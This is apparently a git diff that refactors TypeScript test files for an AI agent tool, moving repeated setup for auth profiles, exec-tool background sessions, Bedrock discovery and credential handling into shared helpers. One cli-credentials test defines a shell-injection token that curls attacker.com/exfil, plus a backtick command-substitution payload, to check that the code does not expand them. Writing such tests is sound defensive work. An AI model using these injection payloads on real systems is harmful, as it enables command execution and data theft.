diff --git a/src/agents/auth-profiles.markauthprofilefailure.e2e.test.ts b/src/agents/auth-profiles.markauthprofilefailure.e2e.test.ts index 1a8cfb16ebd..63f0271a5fa 100644 --- a/src/agents/auth-profiles.markauthprofilefailure.e2e.test.ts +++ b/src/agents/auth-profiles.markauthprofilefailure.e2e.test.ts @@ -8,26 +8,43 @@ import { markAuthProfileFailure, } from "./auth-profiles.js"; +type AuthProfileStore = ReturnType; + +async function withAuthProfileStore( + fn: (ctx: { agentDir: string; store: AuthProfileStore }) => Promise, +): Promise { + const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-")); + try { + const authPath = path.join(agentDir, "auth-profiles.json"); + fs.writeFileSync( + authPath, + JSON.stringify({ + version: 1, + profiles: { + "anthropic:default": { + type: "api_key", + provider: "anthropic", + key: "sk-default", + }, + }, + }), + ); + + const store = ensureAuthProfileStore(agentDir); + await fn({ agentDir, store }); + } finally { + fs.rmSync(agentDir, { recursive: true, force: true }); + } +} + +function expectCooldownInRange(remainingMs: number, minMs: number, maxMs: number): void { + expect(remainingMs).toBeGreaterThan(minMs); + expect(remainingMs).toBeLessThan(maxMs); +} + describe("markAuthProfileFailure", () => { it("disables billing failures for ~5 hours by default", async () => { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-")); - try { - const authPath = path.join(agentDir, "auth-profiles.json"); - fs.writeFileSync( - authPath, - JSON.stringify({ - version: 1, - profiles: { - "anthropic:default": { - type: "api_key", - provider: "anthropic", - key: "sk-default", - }, - }, - }), - ); - - const store = ensureAuthProfileStore(agentDir); + await withAuthProfileStore(async ({ agentDir, store }) => { const startedAt = Date.now(); await markAuthProfileFailure({ store, @@ -39,31 +56,11 @@ describe("markAuthProfileFailure", () => { const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil; expect(typeof disabledUntil).toBe("number"); const remainingMs = (disabledUntil as number) - startedAt; - expect(remainingMs).toBeGreaterThan(4.5 * 60 * 60 * 1000); - expect(remainingMs).toBeLessThan(5.5 * 60 * 60 * 1000); - } finally { - fs.rmSync(agentDir, { recursive: true, force: true }); - } + expectCooldownInRange(remainingMs, 4.5 * 60 * 60 * 1000, 5.5 * 60 * 60 * 1000); + }); }); it("honors per-provider billing backoff overrides", async () => { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-")); - try { - const authPath = path.join(agentDir, "auth-profiles.json"); - fs.writeFileSync( - authPath, - JSON.stringify({ - version: 1, - profiles: { - "anthropic:default": { - type: "api_key", - provider: "anthropic", - key: "sk-default", - }, - }, - }), - ); - - const store = ensureAuthProfileStore(agentDir); + await withAuthProfileStore(async ({ agentDir, store }) => { const startedAt = Date.now(); await markAuthProfileFailure({ store, @@ -83,11 +80,8 @@ describe("markAuthProfileFailure", () => { const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil; expect(typeof disabledUntil).toBe("number"); const remainingMs = (disabledUntil as number) - startedAt; - expect(remainingMs).toBeGreaterThan(0.8 * 60 * 60 * 1000); - expect(remainingMs).toBeLessThan(1.2 * 60 * 60 * 1000); - } finally { - fs.rmSync(agentDir, { recursive: true, force: true }); - } + expectCooldownInRange(remainingMs, 0.8 * 60 * 60 * 1000, 1.2 * 60 * 60 * 1000); + }); }); it("resets backoff counters outside the failure window", async () => { const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-")); diff --git a/src/agents/auth-profiles.resolve-auth-profile-order.normalizes-z-ai-aliases-auth-order.e2e.test.ts b/src/agents/auth-profiles.resolve-auth-profile-order.normalizes-z-ai-aliases-auth-order.e2e.test.ts index 0817f2280ea..9fe9b9dbb68 100644 --- a/src/agents/auth-profiles.resolve-auth-profile-order.normalizes-z-ai-aliases-auth-order.e2e.test.ts +++ b/src/agents/auth-profiles.resolve-auth-profile-order.normalizes-z-ai-aliases-auth-order.e2e.test.ts @@ -1,5 +1,32 @@ import { describe, expect, it } from "vitest"; -import { resolveAuthProfileOrder } from "./auth-profiles.js"; +import { type AuthProfileStore, resolveAuthProfileOrder } from "./auth-profiles.js"; + +function makeApiKeyStore(provider: string, profileIds: string[]): AuthProfileStore { + return { + version: 1, + profiles: Object.fromEntries( + profileIds.map((profileId) => [ + profileId, + { + type: "api_key", + provider, + key: profileId.endsWith(":work") ? "sk-work" : "sk-default", + }, + ]), + ), + }; +} + +function makeApiKeyProfilesByProviderProvider( + providerByProfileId: Record, +): Record { + return Object.fromEntries( + Object.entries(providerByProfileId).map(([profileId, provider]) => [ + profileId, + { provider, mode: "api_key" }, + ]), + ); +} describe("resolveAuthProfileOrder", () => { it("normalizes z.ai aliases in auth.order", () => { @@ -7,27 +34,13 @@ describe("resolveAuthProfileOrder", () => { cfg: { auth: { order: { "z.ai": ["zai:work", "zai:default"] }, - profiles: { - "zai:default": { provider: "zai", mode: "api_key" }, - "zai:work": { provider: "zai", mode: "api_key" }, - }, - }, - }, - store: { - version: 1, - profiles: { - "zai:default": { - type: "api_key", - provider: "zai", - key: "sk-default", - }, - "zai:work": { - type: "api_key", - provider: "zai", - key: "sk-work", - }, + profiles: makeApiKeyProfilesByProviderProvider({ + "zai:default": "zai", + "zai:work": "zai", + }), }, }, + store: makeApiKeyStore("zai", ["zai:default", "zai:work"]), provider: "zai", }); expect(order).toEqual(["zai:work", "zai:default"]); @@ -37,27 +50,13 @@ describe("resolveAuthProfileOrder", () => { cfg: { auth: { order: { OpenAI: ["openai:work", "openai:default"] }, - profiles: { - "openai:default": { provider: "openai", mode: "api_key" }, - "openai:work": { provider: "openai", mode: "api_key" }, - }, - }, - }, - store: { - version: 1, - profiles: { - "openai:default": { - type: "api_key", - provider: "openai", - key: "sk-default", - }, - "openai:work": { - type: "api_key", - provider: "openai", - key: "sk-work", - }, + profiles: makeApiKeyProfilesByProviderProvider({ + "openai:default": "openai", + "openai:work": "openai", + }), }, }, + store: makeApiKeyStore("openai", ["openai:default", "openai:work"]), provider: "openai", }); expect(order).toEqual(["openai:work", "openai:default"]); @@ -66,27 +65,13 @@ describe("resolveAuthProfileOrder", () => { const order = resolveAuthProfileOrder({ cfg: { auth: { - profiles: { - "zai:default": { provider: "z.ai", mode: "api_key" }, - "zai:work": { provider: "Z.AI", mode: "api_key" }, - }, - }, - }, - store: { - version: 1, - profiles: { - "zai:default": { - type: "api_key", - provider: "zai", - key: "sk-default", - }, - "zai:work": { - type: "api_key", - provider: "zai", - key: "sk-work", - }, + profiles: makeApiKeyProfilesByProviderProvider({ + "zai:default": "z.ai", + "zai:work": "Z.AI", + }), }, }, + store: makeApiKeyStore("zai", ["zai:default", "zai:work"]), provider: "zai", }); expect(order).toEqual(["zai:default", "zai:work"]); diff --git a/src/agents/bash-tools.e2e.test.ts b/src/agents/bash-tools.e2e.test.ts index 99f31b89b39..ac78a40ea29 100644 --- a/src/agents/bash-tools.e2e.test.ts +++ b/src/agents/bash-tools.e2e.test.ts @@ -62,6 +62,16 @@ async function waitForCompletion(sessionId: string) { return status; } +async function runBackgroundEchoLines(lines: string[]) { + const result = await execTool.execute("call1", { + command: echoLines(lines), + background: true, + }); + const sessionId = (result.details as { sessionId: string }).sessionId; + await waitForCompletion(sessionId); + return sessionId; +} + beforeEach(() => { resetProcessRegistryForTests(); resetSystemEventsForTest(); @@ -223,12 +233,7 @@ describe("exec tool backgrounding", () => { it("defaults process log to a bounded tail when no window is provided", async () => { const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`); - const result = await execTool.execute("call1", { - command: echoLines(lines), - background: true, - }); - const sessionId = (result.details as { sessionId: string }).sessionId; - await waitForCompletion(sessionId); + const sessionId = await runBackgroundEchoLines(lines); const log = await processTool.execute("call2", { action: "log", @@ -263,12 +268,7 @@ describe("exec tool backgrounding", () => { it("keeps offset-only log requests unbounded by default tail mode", async () => { const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`); - const result = await execTool.execute("call1", { - command: echoLines(lines), - background: true, - }); - const sessionId = (result.details as { sessionId: string }).sessionId; - await waitForCompletion(sessionId); + const sessionId = await runBackgroundEchoLines(lines); const log = await processTool.execute("call2", { action: "log", diff --git a/src/agents/bash-tools.exec.background-abort.e2e.test.ts b/src/agents/bash-tools.exec.background-abort.e2e.test.ts index 89f6c261474..74282b6c8c3 100644 --- a/src/agents/bash-tools.exec.background-abort.e2e.test.ts +++ b/src/agents/bash-tools.exec.background-abort.e2e.test.ts @@ -12,166 +12,121 @@ afterEach(() => { resetProcessRegistryForTests(); }); -test("background exec is not killed when tool signal aborts", async () => { - const tool = createExecTool({ allowBackground: true, backgroundMs: 0 }); - const abortController = new AbortController(); +async function waitForFinishedSession(sessionId: string) { + let finished = getFinishedSession(sessionId); + const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000); + while (!finished && Date.now() < deadline) { + await sleep(20); + finished = getFinishedSession(sessionId); + } + return finished; +} - const result = await tool.execute( +function cleanupRunningSession(sessionId: string) { + const running = getSession(sessionId); + const pid = running?.pid; + if (pid) { + killProcessTree(pid); + } + return running; +} + +async function expectBackgroundSessionSurvivesAbort(params: { + tool: ReturnType; + executeParams: Record; +}) { + const abortController = new AbortController(); + const result = await params.tool.execute( "toolcall", - { command: 'node -e "setTimeout(() => {}, 5000)"', background: true }, + params.executeParams, abortController.signal, ); - expect(result.details.status).toBe("running"); const sessionId = (result.details as { sessionId: string }).sessionId; abortController.abort(); - await sleep(150); const running = getSession(sessionId); const finished = getFinishedSession(sessionId); - try { expect(finished).toBeUndefined(); expect(running?.exited).toBe(false); } finally { - const pid = running?.pid; - if (pid) { - killProcessTree(pid); - } + cleanupRunningSession(sessionId); } +} + +async function expectBackgroundSessionTimesOut(params: { + tool: ReturnType; + executeParams: Record; + signal?: AbortSignal; + abortAfterStart?: boolean; +}) { + const abortController = new AbortController(); + const signal = params.signal ?? abortController.signal; + const result = await params.tool.execute("toolcall", params.executeParams, signal); + expect(result.details.status).toBe("running"); + const sessionId = (result.details as { sessionId: string }).sessionId; + + if (params.abortAfterStart) { + abortController.abort(); + } + + const finished = await waitForFinishedSession(sessionId); + try { + expect(finished).toBeTruthy(); + expect(finished?.status).toBe("failed"); + } finally { + cleanupRunningSession(sessionId); + } +} + +test("background exec is not killed when tool signal aborts", async () => { + const tool = createExecTool({ allowBackground: true, backgroundMs: 0 }); + await expectBackgroundSessionSurvivesAbort({ + tool, + executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true }, + }); }); test("pty background exec is not killed when tool signal aborts", async () => { const tool = createExecTool({ allowBackground: true, backgroundMs: 0 }); - const abortController = new AbortController(); - - const result = await tool.execute( - "toolcall", - { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true }, - abortController.signal, - ); - - expect(result.details.status).toBe("running"); - const sessionId = (result.details as { sessionId: string }).sessionId; - - abortController.abort(); - - await sleep(150); - - const running = getSession(sessionId); - const finished = getFinishedSession(sessionId); - - try { - expect(finished).toBeUndefined(); - expect(running?.exited).toBe(false); - } finally { - const pid = running?.pid; - if (pid) { - killProcessTree(pid); - } - } + await expectBackgroundSessionSurvivesAbort({ + tool, + executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true }, + }); }); test("background exec still times out after tool signal abort", async () => { const tool = createExecTool({ allowBackground: true, backgroundMs: 0 }); - const abortController = new AbortController(); - - const result = await tool.execute( - "toolcall", - { + await expectBackgroundSessionTimesOut({ + tool, + executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, timeout: 0.2, }, - abortController.signal, - ); - - expect(result.details.status).toBe("running"); - const sessionId = (result.details as { sessionId: string }).sessionId; - - abortController.abort(); - - let finished = getFinishedSession(sessionId); - const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000); - while (!finished && Date.now() < deadline) { - await sleep(20); - finished = getFinishedSession(sessionId); - } - - const running = getSession(sessionId); - - try { - expect(finished).toBeTruthy(); - expect(finished?.status).toBe("failed"); - } finally { - const pid = running?.pid; - if (pid) { - killProcessTree(pid); - } - } + abortAfterStart: true, + }); }); test("yielded background exec is not killed when tool signal aborts", async () => { const tool = createExecTool({ allowBackground: true, backgroundMs: 10 }); - const abortController = new AbortController(); - - const result = await tool.execute( - "toolcall", - { command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 }, - abortController.signal, - ); - - expect(result.details.status).toBe("running"); - const sessionId = (result.details as { sessionId: string }).sessionId; - - abortController.abort(); - - await sleep(150); - - const running = getSession(sessionId); - const finished = getFinishedSession(sessionId); - - try { - expect(finished).toBeUndefined(); - expect(running?.exited).toBe(false); - } finally { - const pid = running?.pid; - if (pid) { - killProcessTree(pid); - } - } + await expectBackgroundSessionSurvivesAbort({ + tool, + executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 }, + }); }); test("yielded background exec still times out", async () => { const tool = createExecTool({ allowBackground: true, backgroundMs: 10 }); - - const result = await tool.execute("toolcall", { - command: 'node -e "setTimeout(() => {}, 5000)"', - yieldMs: 5, - timeout: 0.2, + await expectBackgroundSessionTimesOut({ + tool, + executeParams: { + command: 'node -e "setTimeout(() => {}, 5000)"', + yieldMs: 5, + timeout: 0.2, + }, }); - - expect(result.details.status).toBe("running"); - const sessionId = (result.details as { sessionId: string }).sessionId; - - let finished = getFinishedSession(sessionId); - const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000); - while (!finished && Date.now() < deadline) { - await sleep(20); - finished = getFinishedSession(sessionId); - } - - const running = getSession(sessionId); - - try { - expect(finished).toBeTruthy(); - expect(finished?.status).toBe("failed"); - } finally { - const pid = running?.pid; - if (pid) { - killProcessTree(pid); - } - } }); diff --git a/src/agents/bash-tools.process.send-keys.e2e.test.ts b/src/agents/bash-tools.process.send-keys.e2e.test.ts index d93715e6000..a6f35cd9465 100644 --- a/src/agents/bash-tools.process.send-keys.e2e.test.ts +++ b/src/agents/bash-tools.process.send-keys.e2e.test.ts @@ -8,12 +8,11 @@ afterEach(() => { resetProcessRegistryForTests(); }); -test("process send-keys encodes Enter for pty sessions", async () => { +async function startPtySession(command: string) { const execTool = createExecTool(); const processTool = createProcessTool(); const result = await execTool.execute("toolcall", { - command: - 'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"', + command, pty: true, background: true, }); @@ -21,6 +20,36 @@ test("process send-keys encodes Enter for pty sessions", async () => { expect(result.details.status).toBe("running"); const sessionId = result.details.sessionId; expect(sessionId).toBeTruthy(); + return { processTool, sessionId }; +} + +async function waitForSessionCompletion(params: { + processTool: ReturnType; + sessionId: string; + expectedText: string; +}) { + const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000); + while (Date.now() < deadline) { + await sleep(50); + const poll = await params.processTool.execute("toolcall", { + action: "poll", + sessionId: params.sessionId, + }); + const details = poll.details as { status?: string; aggregated?: string }; + if (details.status !== "running") { + expect(details.status).toBe("completed"); + expect(details.aggregated ?? "").toContain(params.expectedText); + return; + } + } + + throw new Error(`PTY session did not exit after ${params.expectedText}`); +} + +test("process send-keys encodes Enter for pty sessions", async () => { + const { processTool, sessionId } = await startPtySession( + 'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"', + ); await processTool.execute("toolcall", { action: "send-keys", @@ -28,51 +57,18 @@ test("process send-keys encodes Enter for pty sessions", async () => { keys: ["h", "i", "Enter"], }); - const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000); - while (Date.now() < deadline) { - await sleep(50); - const poll = await processTool.execute("toolcall", { action: "poll", sessionId }); - const details = poll.details as { status?: string; aggregated?: string }; - if (details.status !== "running") { - expect(details.status).toBe("completed"); - expect(details.aggregated ?? "").toContain("hi"); - return; - } - } - - throw new Error("PTY session did not exit after send-keys"); + await waitForSessionCompletion({ processTool, sessionId, expectedText: "hi" }); }); test("process submit sends Enter for pty sessions", async () => { - const execTool = createExecTool(); - const processTool = createProcessTool(); - const result = await execTool.execute("toolcall", { - command: - 'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"', - pty: true, - background: true, - }); - - expect(result.details.status).toBe("running"); - const sessionId = result.details.sessionId; - expect(sessionId).toBeTruthy(); + const { processTool, sessionId } = await startPtySession( + 'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"', + ); await processTool.execute("toolcall", { action: "submit", sessionId, }); - const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000); - while (Date.now() < deadline) { - await sleep(50); - const poll = await processTool.execute("toolcall", { action: "poll", sessionId }); - const details = poll.details as { status?: string; aggregated?: string }; - if (details.status !== "running") { - expect(details.status).toBe("completed"); - expect(details.aggregated ?? "").toContain("submitted"); - return; - } - } - - throw new Error("PTY session did not exit after submit"); + await waitForSessionCompletion({ processTool, sessionId, expectedText: "submitted" }); }); diff --git a/src/agents/bedrock-discovery.e2e.test.ts b/src/agents/bedrock-discovery.e2e.test.ts index a8fc1b2e933..f896be79794 100644 --- a/src/agents/bedrock-discovery.e2e.test.ts +++ b/src/agents/bedrock-discovery.e2e.test.ts @@ -4,15 +4,35 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; const sendMock = vi.fn(); const clientFactory = () => ({ send: sendMock }) as unknown as BedrockClient; +const baseActiveAnthropicSummary = { + modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", + modelName: "Claude 3.7 Sonnet", + providerName: "anthropic", + inputModalities: ["TEXT"], + outputModalities: ["TEXT"], + responseStreamingSupported: true, + modelLifecycle: { status: "ACTIVE" }, +}; + +async function loadDiscovery() { + const mod = await import("./bedrock-discovery.js"); + mod.resetBedrockDiscoveryCacheForTest(); + return mod; +} + +function mockSingleActiveSummary(overrides: Partial = {}): void { + sendMock.mockResolvedValueOnce({ + modelSummaries: [{ ...baseActiveAnthropicSummary, ...overrides }], + }); +} + describe("bedrock discovery", () => { beforeEach(() => { sendMock.mockReset(); }); it("filters to active streaming text models and maps modalities", async () => { - const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } = - await import("./bedrock-discovery.js"); - resetBedrockDiscoveryCacheForTest(); + const { discoverBedrockModels } = await loadDiscovery(); sendMock.mockResolvedValueOnce({ modelSummaries: [ @@ -68,23 +88,8 @@ describe("bedrock discovery", () => { }); it("applies provider filter", async () => { - const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } = - await import("./bedrock-discovery.js"); - resetBedrockDiscoveryCacheForTest(); - - sendMock.mockResolvedValueOnce({ - modelSummaries: [ - { - modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", - modelName: "Claude 3.7 Sonnet", - providerName: "anthropic", - inputModalities: ["TEXT"], - outputModalities: ["TEXT"], - responseStreamingSupported: true, - modelLifecycle: { status: "ACTIVE" }, - }, - ], - }); + const { discoverBedrockModels } = await loadDiscovery(); + mockSingleActiveSummary(); const models = await discoverBedrockModels({ region: "us-east-1", @@ -95,23 +100,8 @@ describe("bedrock discovery", () => { }); it("uses configured defaults for context and max tokens", async () => { - const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } = - await import("./bedrock-discovery.js"); - resetBedrockDiscoveryCacheForTest(); - - sendMock.mockResolvedValueOnce({ - modelSummaries: [ - { - modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", - modelName: "Claude 3.7 Sonnet", - providerName: "anthropic", - inputModalities: ["TEXT"], - outputModalities: ["TEXT"], - responseStreamingSupported: true, - modelLifecycle: { status: "ACTIVE" }, - }, - ], - }); + const { discoverBedrockModels } = await loadDiscovery(); + mockSingleActiveSummary(); const models = await discoverBedrockModels({ region: "us-east-1", @@ -122,23 +112,8 @@ describe("bedrock discovery", () => { }); it("caches results when refreshInterval is enabled", async () => { - const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } = - await import("./bedrock-discovery.js"); - resetBedrockDiscoveryCacheForTest(); - - sendMock.mockResolvedValueOnce({ - modelSummaries: [ - { - modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", - modelName: "Claude 3.7 Sonnet", - providerName: "anthropic", - inputModalities: ["TEXT"], - outputModalities: ["TEXT"], - responseStreamingSupported: true, - modelLifecycle: { status: "ACTIVE" }, - }, - ], - }); + const { discoverBedrockModels } = await loadDiscovery(); + mockSingleActiveSummary(); await discoverBedrockModels({ region: "us-east-1", clientFactory }); await discoverBedrockModels({ region: "us-east-1", clientFactory }); @@ -146,37 +121,11 @@ describe("bedrock discovery", () => { }); it("skips cache when refreshInterval is 0", async () => { - const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } = - await import("./bedrock-discovery.js"); - resetBedrockDiscoveryCacheForTest(); + const { discoverBedrockModels } = await loadDiscovery(); sendMock - .mockResolvedValueOnce({ - modelSummaries: [ - { - modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", - modelName: "Claude 3.7 Sonnet", - providerName: "anthropic", - inputModalities: ["TEXT"], - outputModalities: ["TEXT"], - responseStreamingSupported: true, - modelLifecycle: { status: "ACTIVE" }, - }, - ], - }) - .mockResolvedValueOnce({ - modelSummaries: [ - { - modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0", - modelName: "Claude 3.7 Sonnet", - providerName: "anthropic", - inputModalities: ["TEXT"], - outputModalities: ["TEXT"], - responseStreamingSupported: true, - modelLifecycle: { status: "ACTIVE" }, - }, - ], - }); + .mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] }) + .mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] }); await discoverBedrockModels({ region: "us-east-1", diff --git a/src/agents/cli-credentials.test.ts b/src/agents/cli-credentials.test.ts index 51e0f947137..ad62fd67732 100644 --- a/src/agents/cli-credentials.test.ts +++ b/src/agents/cli-credentials.test.ts @@ -6,6 +6,31 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const execSyncMock = vi.fn(); const execFileSyncMock = vi.fn(); +function mockExistingClaudeKeychainItem() { + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); +} + +function getAddGenericPasswordCall() { + return execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); +} + describe("cli credentials", () => { beforeEach(() => { vi.useFakeTimers(); @@ -21,19 +46,7 @@ describe("cli credentials", () => { }); it("updates the Claude Code keychain item in place", async () => { - execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { - const argv = Array.isArray(args) ? args.map(String) : []; - if (String(file) === "security" && argv.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); + mockExistingClaudeKeychainItem(); const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); @@ -50,12 +63,7 @@ describe("cli credentials", () => { // Verify execFileSync was called with array args (no shell interpretation) expect(execFileSyncMock).toHaveBeenCalledTimes(2); - const addCall = execFileSyncMock.mock.calls.find( - ([binary, args]) => - String(binary) === "security" && - Array.isArray(args) && - (args as unknown[]).map(String).includes("add-generic-password"), - ); + const addCall = getAddGenericPasswordCall(); expect(addCall?.[0]).toBe("security"); expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U"); }); @@ -63,19 +71,7 @@ describe("cli credentials", () => { it("prevents shell injection via malicious OAuth token values", async () => { const maliciousToken = "x'$(curl attacker.com/exfil)'y"; - execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { - const argv = Array.isArray(args) ? args.map(String) : []; - if (String(file) === "security" && argv.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); + mockExistingClaudeKeychainItem(); const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); @@ -91,12 +87,7 @@ describe("cli credentials", () => { expect(ok).toBe(true); // The -w argument must contain the malicious string literally, not shell-expanded - const addCall = execFileSyncMock.mock.calls.find( - ([binary, args]) => - String(binary) === "security" && - Array.isArray(args) && - (args as unknown[]).map(String).includes("add-generic-password"), - ); + const addCall = getAddGenericPasswordCall(); const args = (addCall?.[1] as string[] | undefined) ?? []; const wIndex = args.indexOf("-w"); const passwordValue = args[wIndex + 1]; @@ -108,19 +99,7 @@ describe("cli credentials", () => { it("prevents shell injection via backtick command substitution in tokens", async () => { const backtickPayload = "token`id`value"; - execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { - const argv = Array.isArray(args) ? args.map(String) : []; - if (String(file) === "security" && argv.includes("find-generic-password")) { - return JSON.stringify({ - claudeAiOauth: { - accessToken: "old-access", - refreshToken: "old-refresh", - expiresAt: Date.now() + 60_000, - }, - }); - } - return ""; - }); + mockExistingClaudeKeychainItem(); const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); @@ -136,12 +115,7 @@ describe("cli credentials", () => { expect(ok).toBe(true); // Backtick payload must be passed literally, not interpreted - const addCall = execFileSyncMock.mock.calls.find( - ([binary, args]) => - String(binary) === "security" && - Array.isArray(args) && - (args as unknown[]).map(String).includes("add-generic-password"), - ); + const addCall = getAddGenericPasswordCall(); const args = (addCall?.[1] as string[] | undefined) ?? []; const wIndex = args.indexOf("-w"); const passwordValue = args[wIndex + 1]; diff --git a/src/agents/model-auth.e2e.test.ts b/src/agents/model-auth.e2e.test.ts index f3439c6feb9..5eebfa16f11 100644 --- a/src/agents/model-auth.e2e.test.ts +++ b/src/agents/model-auth.e2e.test.ts @@ -14,6 +14,59 @@ const oauthFixture = { accountId: "acct_123", }; +const BEDROCK_PROVIDER_CFG = { + models: { + providers: { + "amazon-bedrock": { + baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", + api: "bedrock-converse-stream", + auth: "aws-sdk", + models: [], + }, + }, + }, +} as const; + +function captureBedrockEnv() { + return { + bearer: process.env.AWS_BEARER_TOKEN_BEDROCK, + access: process.env.AWS_ACCESS_KEY_ID, + secret: process.env.AWS_SECRET_ACCESS_KEY, + profile: process.env.AWS_PROFILE, + }; +} + +function restoreBedrockEnv(previous: ReturnType) { + if (previous.bearer === undefined) { + delete process.env.AWS_BEARER_TOKEN_BEDROCK; + } else { + process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer; + } + if (previous.access === undefined) { + delete process.env.AWS_ACCESS_KEY_ID; + } else { + process.env.AWS_ACCESS_KEY_ID = previous.access; + } + if (previous.secret === undefined) { + delete process.env.AWS_SECRET_ACCESS_KEY; + } else { + process.env.AWS_SECRET_ACCESS_KEY = previous.secret; + } + if (previous.profile === undefined) { + delete process.env.AWS_PROFILE; + } else { + process.env.AWS_PROFILE = previous.profile; + } +} + +async function resolveBedrockProvider() { + return resolveApiKeyForProvider({ + provider: "amazon-bedrock", + store: { version: 1, profiles: {} }, + cfg: BEDROCK_PROVIDER_CFG as never, + }); +} + describe("getApiKeyForModel", () => { it("migrates legacy oauth.json into auth-profiles.json", async () => { const envSnapshot = captureEnv([ @@ -258,12 +311,7 @@ describe("getApiKeyForModel", () => { }); it("prefers Bedrock bearer token over access keys and profile", async () => { - const previous = { - bearer: process.env.AWS_BEARER_TOKEN_BEDROCK, - access: process.env.AWS_ACCESS_KEY_ID, - secret: process.env.AWS_SECRET_ACCESS_KEY, - profile: process.env.AWS_PROFILE, - }; + const previous = captureBedrockEnv(); try { process.env.AWS_BEARER_TOKEN_BEDROCK = "bedrock-token"; @@ -271,57 +319,18 @@ describe("getApiKeyForModel", () => { process.env.AWS_SECRET_ACCESS_KEY = "secret-key"; process.env.AWS_PROFILE = "profile"; - const resolved = await resolveApiKeyForProvider({ - provider: "amazon-bedrock", - store: { version: 1, profiles: {} }, - cfg: { - models: { - providers: { - "amazon-bedrock": { - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - api: "bedrock-converse-stream", - auth: "aws-sdk", - models: [], - }, - }, - }, - } as never, - }); + const resolved = await resolveBedrockProvider(); expect(resolved.mode).toBe("aws-sdk"); expect(resolved.apiKey).toBeUndefined(); expect(resolved.source).toContain("AWS_BEARER_TOKEN_BEDROCK"); } finally { - if (previous.bearer === undefined) { - delete process.env.AWS_BEARER_TOKEN_BEDROCK; - } else { - process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer; - } - if (previous.access === undefined) { - delete process.env.AWS_ACCESS_KEY_ID; - } else { - process.env.AWS_ACCESS_KEY_ID = previous.access; - } - if (previous.secret === undefined) { - delete process.env.AWS_SECRET_ACCESS_KEY; - } else { - process.env.AWS_SECRET_ACCESS_KEY = previous.secret; - } - if (previous.profile === undefined) { - delete process.env.AWS_PROFILE; - } else { - process.env.AWS_PROFILE = previous.profile; - } + restoreBedrockEnv(previous); } }); it("prefers Bedrock access keys over profile", async () => { - const previous = { - bearer: process.env.AWS_BEARER_TOKEN_BEDROCK, - access: process.env.AWS_ACCESS_KEY_ID, - secret: process.env.AWS_SECRET_ACCESS_KEY, - profile: process.env.AWS_PROFILE, - }; + const previous = captureBedrockEnv(); try { delete 